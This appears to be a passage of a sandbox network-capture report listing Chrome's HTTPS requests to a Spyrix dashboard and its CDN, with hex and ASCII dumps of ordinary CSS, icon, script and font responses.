2024-10-02 04:11:44 UTC	987	IN	Data Raw: 0a 63 6c 61 73 73 20 43 64 6e 20 7b 0a 20 20 5f 6d 61 78 43 6f 75 6e 74 65 72 20 3d 20 33 30 3b 0a 20 20 5f 69 6e 74 65 72 76 61 6c 20 3d 20 6e 75 6c 6c 3b 0a 20 20 5f 63 6f 75 6e 74 65 72 20 3d 20 30 3b 0a 0a 20 20 69 6e 69 74 28 29 20 7b 0a 20 20 20 20 2f 2f 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 27 63 64 6e 2d 6f 66 66 3d 30 27 3b 20 2f 2f d0 bf d0 be d1 82 d0 be d0 bc d1 83 20 d1 87 d1 82 d0 be 20 d0 ba d1 83 d0 ba d0 b0 20 d0 bf d0 b5 d1 80 d0 b5 d0 b1 d0 b8 d0 b2 d0 b0 d0 bb d0 b0 d1 81 d1 8c 20 d0 b8 20 d0 bd d0 b5 20 d0 bf d0 b5 d1 80 d0 b5 d0 b2 d0 be d0 b4 d0 b8 d0 bb d0 be 20 d0 bd d0 b0 20 d1 81 d0 b5 d1 80 d0 b2 d0 b5 d1 80 0a 20 20 20 20 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 20 3d 20 73 65 74 49 6e 74 65 72 76 61 6c 28 Data Ascii: class Cdn { _maxCounter = 30; _interval = null; _counter = 0; init() { // document.cookie = 'cdn-off=0'; // this._interval = setInterval(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49735	158.69.117.119	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:44 UTC	596	OUT	GET /favicon.ico HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:44 UTC	320	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:44 GMT Content-Type: image/x-icon Content-Length: 3029 Last-Modified: Thu, 01 Feb 2024 09:41:29 GMT Connection: close ETag: "65bb6749-bd5" X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0 Accept-Ranges: bytes
2024-10-02 04:11:44 UTC	3029	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b8 00 00 00 b8 08 06 00 00 00 50 33 26 c7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 21 37 00 00 21 37 01 33 58 9f 7a 00 00 00 18 74 45 58 74 53 6f 66 74 77 61 72 65 00 70 61 69 6e 74 2e 6e 65 74 20 34 2e 31 2e 36 fd 4e 09 e8 00 00 0b 53 49 44 41 54 78 5e ed 9d ff 71 dc 46 12 85 15 82 43 b8 10 1c 82 43 b8 0c 4e 65 49 ae fb cf cc 40 ce 40 ce 60 c5 08 ec 0c 18 02 43 b8 10 18 02 6e 1a 9c 95 c6 d0 e3 6e 77 03 33 98 e9 79 5f d5 57 aa 6a 71 77 f1 e3 ed a0 31 00 c8 77 cb b2 b8 fd f5 b2 bc ff f8 75 59 28 ad 65 99 37 8f b0 a8 95 01 a7 b5 2d f3 e6 11 16 b5 32 e0 b4 b6 65 de 3c c2 a2 56 06 9c d6 b6 cc 9b 47 58 d4 ca 80 d3 da 96 79 f3 08 8b 5a 19 70 5a db 32 6f 1e 61 51 2b 03 Data Ascii: PNGIHDRP3&gAMAapHYs!7!73XztEXtSoftwarepaint.net 4.1.6NSIDATx^qFCCNeI@@`Cnnw3y_Wjqw1wuY(e7-2e<VGXyZpZ2oaQ+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49734	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:44 UTC	626	OUT	GET /dashboard30/assets/en-08b2a987.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:44 UTC	400	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:44 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-69c5" Content-Encoding: gzip Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T03:37:44+00:00 X-Node: m9-up-gc71
2024-10-02 04:11:44 UTC	3696	IN	Data Raw: 31 63 37 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 9d e9 6e dc 56 96 c7 bf cf 53 70 88 00 76 80 6b 61 d2 dd 98 1e b0 21 0c bc 24 8e 3b de e2 25 ee 04 03 a4 a9 2a 96 c4 36 8b ac 90 2c c9 4a 90 07 9a d7 98 27 9b df ff dc 7b 49 d6 22 c9 4b e2 76 3a fe 22 f1 ee db d9 cf b9 b7 66 4d dd f5 49 71 98 de 5c f7 cd aa ca cf 53 d7 1c a6 4f 8a bc 6b ea d4 f5 87 e9 9d a2 9b b5 e5 aa 2f 95 ce 0f d3 a7 7d de af bb d4 95 7c ce da a2 a8 bb 93 a6 4f 5d 7d 98 3e ea 4f 8a 36 75 dd 61 fa bc d3 47 4b a7 ab 55 45 8f 33 b2 ea 97 75 73 46 17 d5 61 7a ab 6d ce ac c6 fc 30 bd 5d 95 ab a3 26 6f e7 a9 5b 1f a6 2f 8a a3 59 be 4c dd ca c6 69 e9 f7 fc 30 fd fc 55 c9 c7 f2 30 fd a6 9c 17 4d 5b cc 52 77 42 79 b3 ae e7 96 38 f6 e3 94 b3 dc 4f 72 71 98 3e 2b fb aa 48 dd a9 fa 6f 3a be ce 0e Data Ascii: 1c75nVSpvka!$;%*6,J'{I"Kv:"fMIq\SOk/}\|O]}>O6uaGKUE3usFazm0]&o[/YLi0U0M[RwBy8Orq>+Ho:
2024-10-02 04:11:44 UTC	3597	IN	Data Raw: 23 25 16 dc 99 78 fd da 0b 49 c5 ab 15 8e 31 bf 98 ab 2a 85 9e a6 5c 67 5f 27 17 96 bb b2 46 2c 22 10 75 80 d0 79 83 91 58 46 bf e2 15 26 1d e9 6c 11 38 b7 4b 84 4f 6c 41 41 44 1f e1 3d 79 ad 46 3e 10 69 3e 88 0b bd 82 12 c2 c6 36 f5 18 b7 f2 66 8d a4 f0 12 a9 89 98 a7 d0 98 ae 0b 01 86 7b 32 11 68 2c d0 3b 43 2c a9 cd ad bd e5 16 bf b4 78 6c fd 90 b5 8c e0 c1 26 c4 76 5b 05 66 be 5f 15 84 a0 87 30 07 f9 5b 8c 24 9b e9 48 4c 1a 0f c4 65 15 8c 2a a1 2b b2 93 d8 5e 16 72 d9 c8 d3 0e 6a fb 1e 7c 5c 47 d8 c2 68 73 7a 66 ea e5 1b 34 c1 b0 1d 6d 78 59 29 35 db 9b c4 46 25 4e 76 50 26 bb 3f 7f 4f fd 05 34 c7 02 03 77 5a 84 12 cc 3c 04 b9 d4 85 b3 a0 e6 0c 47 c3 a0 88 5e 85 37 c1 33 f1 0e 98 77 51 0f 90 1d f3 49 d0 b5 87 26 ed 73 0c f1 bb b0 c8 0e 39 c8 78 db 5e Data Ascii: #%xI1\g_'F,"uyXF&l8KOlAAD=yF>i>6f{2h,;C,xl&v[f_0[$HLe+^rj\|\Ghszf4mxY)5F%NvP&?O4wZ<G^73wQI&s9x^
2024-10-02 04:11:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49738	158.69.117.119	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	355	OUT	GET /favicon.ico HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:45 UTC	320	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:45 GMT Content-Type: image/x-icon Content-Length: 3029 Last-Modified: Thu, 01 Feb 2024 09:41:29 GMT Connection: close ETag: "65bb6749-bd5" X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0 Accept-Ranges: bytes
2024-10-02 04:11:45 UTC	3029	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b8 00 00 00 b8 08 06 00 00 00 50 33 26 c7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 21 37 00 00 21 37 01 33 58 9f 7a 00 00 00 18 74 45 58 74 53 6f 66 74 77 61 72 65 00 70 61 69 6e 74 2e 6e 65 74 20 34 2e 31 2e 36 fd 4e 09 e8 00 00 0b 53 49 44 41 54 78 5e ed 9d ff 71 dc 46 12 85 15 82 43 b8 10 1c 82 43 b8 0c 4e 65 49 ae fb cf cc 40 ce 40 ce 60 c5 08 ec 0c 18 02 43 b8 10 18 02 6e 1a 9c 95 c6 d0 e3 6e 77 03 33 98 e9 79 5f d5 57 aa 6a 71 77 f1 e3 ed a0 31 00 c8 77 cb b2 b8 fd f5 b2 bc ff f8 75 59 28 ad 65 99 37 8f b0 a8 95 01 a7 b5 2d f3 e6 11 16 b5 32 e0 b4 b6 65 de 3c c2 a2 56 06 9c d6 b6 cc 9b 47 58 d4 ca 80 d3 da 96 79 f3 08 8b 5a 19 70 5a db 32 6f 1e 61 51 2b 03 Data Ascii: PNGIHDRP3&gAMAapHYs!7!73XztEXtSoftwarepaint.net 4.1.6NSIDATx^qFCCNeI@@`Cnnw3y_Wjqw1wuY(e7-2e<VGXyZpZ2oaQ+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49750	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	586	OUT	GET /dashboard30/assets/ConfirmPhoneModal-86d79a8a.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:46 UTC	302	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: text/css Content-Length: 2721 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-aa1" Cache: HIT X-Cached-Since: 2024-10-02T04:02:54+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:11:46 UTC	2721	IN	Data Raw: 2e 46 52 51 4a 53 77 32 37 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 66 6c 65 78 3a 31 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 6d 61 78 2d 77 69 64 74 68 3a 33 35 30 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 34 38 30 70 78 29 7b 2e 46 52 51 4a 53 77 32 37 7b 6d 61 78 2d 77 69 64 74 68 3a 39 35 25 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 7d 2e 4e 72 48 54 51 32 4a 4e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 76 61 72 28 2d 2d 73 68 61 Data Ascii: .FRQJSw27{display:flex;flex-direction:column;flex:1;justify-content:center;max-width:350px;width:100%}@media screen and (max-width: 480px){.FRQJSw27{max-width:95%;padding:15px}}.NrHTQ2JN{border-radius:10px;padding:30px;background:#fff;box-shadow:var(--sha

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49752	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	575	OUT	GET /dashboard30/assets/Button-ca236c00.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:46 UTC	303	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: text/css Content-Length: 2466 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-9a2" Cache: STALE X-Cached-Since: 2024-10-01T22:59:30+00:00 X-Node: m9-up-gc91 Accept-Ranges: bytes
2024-10-02 04:11:46 UTC	2466	IN	Data Raw: 2e 67 31 6a 44 45 4e 75 51 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 33 73 20 65 61 73 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 67 31 6a 44 45 4e 75 51 20 73 76 67 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 33 73 20 65 61 73 65 7d 2e 6b 6e 33 2d 6a 70 61 38 7b 6f 70 61 63 69 74 79 3a 2e 38 3b 63 75 72 73 6f 72 3a 70 72 6f 67 72 65 73 73 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 69 31 61 53 67 71 4e 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 63 Data Ascii: .g1jDENuQ{display:flex;transition:.3s ease;border-radius:10px;-webkit-user-select:none;user-select:none;max-width:100%;text-align:center;cursor:pointer}.g1jDENuQ svg{transition:.3s ease}.kn3-jpa8{opacity:.8;cursor:progress!important}.pi1aSgqN{opacity:.4;c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49751	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	583	OUT	GET /dashboard30/assets/ButtonTemplate-fd9601a7.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:46 UTC	300	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: text/css Content-Length: 97 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-61" Cache: STALE X-Cached-Since: 2024-10-02T02:58:02+00:00 X-Node: m9-up-gc99 Accept-Ranges: bytes
2024-10-02 04:11:46 UTC	97	IN	Data Raw: 2e 5f 36 70 74 63 2d 76 31 6f 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 65 54 55 74 31 76 53 4d 7b 67 61 70 3a 2e 34 65 6d 7d 0a Data Ascii: ._6ptc-v1o{display:flex;justify-content:center;align-items:center;width:100%}.eTUt1vSM{gap:.4em}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49749	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	579	OUT	GET /dashboard30/assets/ButtonText-ead06ca1.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:46 UTC	301	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: text/css Content-Length: 193 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-c1" Cache: STALE X-Cached-Since: 2024-10-01T14:21:12+00:00 X-Node: m9-up-gc10 Accept-Ranges: bytes
2024-10-02 04:11:46 UTC	193	IN	Data Raw: 2e 76 61 4a 67 37 58 47 66 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 66 6c 65 78 3a 31 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 6d 74 78 46 75 75 71 6f 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 4d 74 41 55 6d 34 72 64 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 70 72 69 6d 61 72 79 29 7d 0a Data Ascii: .vaJg7XGf{display:inline;min-width:0;width:100%;flex:1;text-align:center;justify-content:center}.mtxFuuqo{color:inherit;text-align:center;justify-content:center}.MtAUm4rd{color:var(--primary)}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49747	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	640	OUT	GET /dashboard30/assets/Nunito-Regular-73dcaa51.woff2 HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:46 UTC	365	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: font/woff2 Content-Length: 44112 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-ac50" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:11:40+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:46 UTC	3731	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 ac 50 00 10 00 00 00 02 04 b8 00 00 ab ea 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 84 32 1b 82 8f 72 1c 9a 08 06 60 3f 53 54 41 54 48 00 95 2a 11 08 0a 84 b9 34 83 cb 41 0b 91 16 00 01 36 02 24 03 a1 38 04 20 05 87 5e 07 cd 35 0c 07 5b 12 c4 91 05 d6 c6 b6 43 35 a0 e0 fb c0 74 1b 02 64 5f c3 a3 3a 1f ef c5 01 e6 a6 8e 15 fd 6e 1b 00 b8 75 3d 69 58 01 37 46 6e b7 03 28 ea bc 2e bd ec ff ff ff ff ff d7 24 0b 19 db fd 33 fe f7 bf 81 93 29 e8 10 32 ad d2 82 30 aa d0 08 83 bb 23 65 32 60 34 1b 0f e5 98 90 a4 4c 1e 89 c1 1d f5 64 38 93 79 b9 8c c5 8e 10 5c 9b b3 a9 ae 44 92 e1 16 ce fb 30 58 a0 1c 7e 66 cb b6 2d 10 89 88 7c e3 85 97 60 93 a7 fd 32 a3 69 84 7e 4c c4 4e ac f0 b3 b0 22 dd 85 bd 93 cf Data Ascii: wOF2P2r`?STATH*4A6$8 ^5[C5td_:nu=iX7Fn(.$3)20#e2`4Ld8y\D0X~f-\|`2i~LN"
2024-10-02 04:11:46 UTC	4096	IN	Data Raw: 56 3a 47 e5 3c 38 c5 66 6d 00 66 b6 0a a6 7f c6 4f aa 48 6e 63 20 66 3f 51 ea 3b dd db 46 b1 50 8c 4e a8 cc 06 3a b4 41 dc c4 5d 6c f1 0e ef a5 6c 06 d0 21 b0 25 83 7b 6d 27 e6 7b 6b 5c f0 40 9e d6 42 d1 68 47 af 5d 29 41 77 48 b4 0a f1 14 eb bb e5 63 e3 12 03 ee cf 9c 15 ef 06 77 31 7a 74 6e 6b 3f 9b 42 e5 61 71 a5 b2 d0 9e de 99 da b2 f5 12 70 b5 08 19 93 a6 1c 53 db bc 0d 4c b0 d0 43 b2 94 a9 be 92 3a a7 e2 a3 cd 2e 8a 66 d2 b8 04 50 35 63 14 b6 a5 b1 a9 3a db 06 6a d7 f3 10 0b b3 58 64 7c 45 4b 91 32 e4 ad dc 15 31 bf 95 0e 94 a9 b6 e7 58 1e c0 74 0d 28 25 32 5a 35 a2 2a 8e 68 55 0b 42 01 b1 93 7d ab 27 69 3f 2f 15 95 ab d7 3d b9 54 b9 6c 20 26 a8 c8 35 c0 4f 56 b3 7d ea da 45 12 92 1b db 3a 19 37 82 32 0d 40 eb e3 d2 c7 ec fa 8c 98 57 13 45 5a 44 bb Data Ascii: V:G<8fmfOHnc f?Q;FPN:A]ll!%{m'{k\@BhG])AwHcw1ztnk?BaqpSLC:.fP5c:jXd\|EK21Xt(%2Z5*hUB}'i?/=Tl &5OV}E:72@WEZD
2024-10-02 04:11:46 UTC	4096	IN	Data Raw: dd 4b 10 c2 b2 ee 5f 70 1d 76 cd fa ec 56 60 31 eb 16 53 4b 37 2b 54 cd c5 de 8f 83 de c6 75 e3 4a 14 37 da 22 e1 70 ed d7 d8 04 b5 ef ff a8 e4 f7 cb d2 01 3d 02 ce 0c 5d 8c 4a a4 1a 4a 6b 05 22 db 51 8e 44 05 1a c1 0b 6b 6a e7 d5 b2 08 23 0b ec f3 97 a6 0a 88 75 d5 9d 55 37 43 c6 bd 57 0e 21 3e 0e ad 4e 97 01 7a 39 80 7c e3 3c ba 8a 3a f8 42 69 5c 80 30 e8 de bc 7d 5d bf a5 81 90 65 69 f4 bd ab ad 35 d4 fa eb 3b 3c c4 7d f5 37 af ae d3 e8 93 54 38 cb 16 88 75 cf 81 2e fd 51 9b 19 e8 a5 89 04 96 02 05 bb 02 03 0b 58 7a 7c e4 6b 5d 80 4b 9f 17 74 0b b0 ec 48 3f bd 77 29 9d 64 ec a1 07 44 ae 55 00 c8 4b 45 50 9b d0 f1 ad 54 b7 de 82 32 f6 70 de 6f 10 93 3b 8e f8 f2 6e 53 c9 02 01 1f a0 0b a0 51 ab ee 4e 9e 3e 60 44 b1 92 ee e1 04 5a 5a c9 da 7b c4 81 7d d9 Data Ascii: K_pvV`1SK7+TuJ7"p=]JJk"QDkj#uU7CW!>Nz9\|<:Bi\0}]ei5;<}7T8u.QXz\|k]KtH?w)dDUKEPT2po;nSQN>`DZZ{}
2024-10-02 04:11:46 UTC	4096	IN	Data Raw: f9 3a 54 54 b1 ce 95 2a af 5c 59 65 2a aa 60 af 46 cf 1a f4 ae 59 af 9a 6a d4 af 36 33 cb 35 b8 38 d3 cb b6 b8 e7 56 54 66 55 15 56 56 6e 43 75 b6 d6 6c 4b 4d 36 d5 60 7f 18 fb ea b2 b7 57 6e f4 de 95 de 38 da 80 eb bd 73 a9 69 d7 7a eb 6e 5f 3c 6e d1 13 6f fb e9 7d 1b de f5 cb c4 1e 3a d3 98 17 ad 09 14 1e 4d 27 5d ab d2 43 ff da 49 fd 0a 6a a4 af d0 9c 9e d0 16 03 86 f0 30 af 02 42 00 dc a8 61 90 9c 50 66 72 8d f2 68 59 d0 a8 52 cd 28 c7 ea 2a ad ad da f1 86 5c 8e 60 5b 2d 0e 84 e5 da 60 88 36 a6 74 8b 7a 66 6c 19 5e e5 d3 cb a0 d5 a8 4d c6 f3 4c 9f 55 67 d6 5b 2e 30 2d 33 34 53 34 dd e6 b8 50 45 53 5c 50 e5 76 e8 db f9 e0 6b 76 f0 8f 78 09 6c ac f4 d2 18 a5 33 a9 4a 65 16 c0 24 a5 81 c2 10 91 50 c5 49 44 43 c7 c0 26 23 a7 a4 a0 a2 96 2c 85 96 81 45 3f Data Ascii: :TT\Ye`FYj6358VTfUVVnCulKM6`Wn8sizn_<no}:M']CIj0BaPfrhYR(*\`[-`6tzfl^MLUg[.0-34S4PES\Pvkvxl3Je$PIDC&#,E?
2024-10-02 04:11:46 UTC	4096	IN	Data Raw: a1 cc 93 1a c6 b8 cd 67 63 2a e4 a4 af c8 98 a7 64 aa 75 44 86 a6 3d 81 69 29 80 2d ab 0f bf 90 74 6f b1 32 c7 f6 3c 49 ce 39 0a 96 e4 14 f6 47 15 50 c7 fa 34 61 d9 e4 30 6c 89 7e ca d4 c4 18 3c f1 75 ec 53 a0 44 1b 57 0e f4 d5 ba a8 8b 79 87 12 56 15 4c a9 32 74 59 62 6b ad 49 aa 84 16 d3 d8 76 55 88 81 a3 c7 c4 74 45 2b 5b 21 ec 6b 92 e3 29 ce 98 8d ee e1 75 e9 75 7d a7 bb 04 5a 05 91 07 95 30 53 12 e7 73 53 da d9 6b de 97 9f cc 28 88 f0 1c bd 3a 81 96 33 e4 d7 06 35 31 0b bb 99 bd 48 23 a9 e9 f4 d2 97 31 6a 8a 94 30 9d 5e 01 99 d6 86 19 35 c6 d6 06 66 b4 2e c6 94 c7 d3 30 9a 22 b9 9a 0f 34 40 cd 06 c0 98 2b 11 d5 58 38 e5 60 0c e1 1d 58 c2 8a d2 16 af c3 0e b3 3d a0 30 af 9b d3 76 89 c1 0d 86 15 